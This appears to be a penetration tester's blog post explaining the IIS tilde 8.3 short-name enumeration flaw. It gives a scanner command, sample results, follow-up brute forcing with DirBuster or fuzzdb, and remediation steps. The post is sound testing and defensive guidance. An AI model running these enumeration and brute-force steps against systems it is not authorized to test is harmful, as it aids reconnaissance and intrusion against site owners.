Over the past couple of months of pen testing, I have come across something new to me at least, the Microsoft IIS Tilde Directory Enumeration vulnerability, that is rather prevalent among IIS environments. Here are some thoughts and a walk through on how to test for and fix the vulnerability.
What is it?
A security researcher, Soroush Dalili, found out a way to take advantage of the way short names for files and directories can be exposed within the 8.3 naming scheme in Microsoft IIS. He has written a detailed whitepaper on the subject, in addition to developing a simple point of concept tool that takes advantage of this vulnerability.
How can I tell if I am vulnerable?
Obviously, if you are running any web server aside from IIS, you will not be affected by this vulnerability as is it specific to the way IIS handles short names for files and directories. The sad news is that essentially all Microsoft IIS installations, regardless of version, are vulnerable. I have seen posts saying that newer version of IIS 7+ might not be vulnerable, but I haven’t seen any official posts from Microsoft, and my testing has more or less proven otherwise. With that said, I would err on the side of caution and assume any IIS setup is vulnerable.
To confirm whether or not your environment is vulnerable, download Soroush’s point of concept tool at http://code.google.com/p/iis-shortname-scanner-poc/. Take note of installation instructions regarding Java JDK. Once compiled, open up command prompt and move to the directory where you installed the tool. You will then use the following command to run your assessment:
java scanner 2 20 https://target/
The ’2′ represents verbosity for progress, which I tend to use, but other options include:
0= Show final results only
1= Show final results step by step
2= Show Progress
The ’20′ represents the number of threads to use. Soroush suggests 20 threads by default, and from my experience there is really no need to use more as the tool will pull results in under a minute with 20 threads, even for large websites. Be mindful that if you do choose to use a higher thread count, you could potentially cause a DoS scenario, so use with caution.
In my example, we’ll use 192.168.20.20 as our target. Once I enter the command, the scanner will ask if you want to add any delays to your requests or if you’d like to use a proxy. I have never needed to add any delays, nor do I typically use a proxy for this, but if you need to, those options are available for you.
After the scanner finishes, we now see that multiple directories and files were discovered.
Dir: ASPNET~1
Dir: _VTI_S~1
File: INDEX~1.HTM
File: POSTIN~1.HTM
File: _VTI_I~1.HTM
2 Dir(s) was/were found
3 File(s) was/were found
At this point, if results have been found, your target should be considered vulnerable. If it is not vulnerable, you will get results similar to those below, with respect to seeing the error of “Cannot get proper/different error messages from the server. Check the inputs and try again.”
Now what can we do with this information? We can start to guess the actual file names and directories to see if we can expose more information. Some files will be fairly simple to figure out, while others will be incredibly difficult if they are oddly named. You should utilize file and directory brute forcing tools such as DirBuster or fuzzdb to aid in discovery. It is also helpful to use targeted fuzzing lists such as the predictable IIS fuzz list within fuzzdb. In my first example above, the scanner discovered “File: INDEX~1.HTM” which we can confidently guess is index.html. As expected, when I navigate to http://192.168.20.20/index.html, we can see the file exists. We could now perform brute force attempts against this discovered login page to piggyback on the original vulnerability, to further exploit our target.
While this example is straightforward, it will not always be this simple to figure out the file names and directories. Specifically, since IIS short names will only ever show 3 characters of a file extension, the most obvious choice may not always be the correct one. For example, I have found entries such as “File: FORGOT~1.ASP” which we will want to assume is something like forgotpassword.asp, when in reality it was actually forgotpassword.aspx. When using brute forcing tools, always make sure to look for multiple file extensions.
How do I fix it?
I reached out to Soroush and he explained that there is a true fix for this. To remediate, disable the 8.3 Name Creation on NTFS partitions. Then move all files that you have to a different location on the host machine, and then move them back to their original locations. This action should enforce the name creation change to affect the files as it appears the change is not retroactive. There is also proof that you can utilize URL rewrite functionality or enforce firewall rules that don’t accept HTTP requests that contain the tilde ‘~’ character.
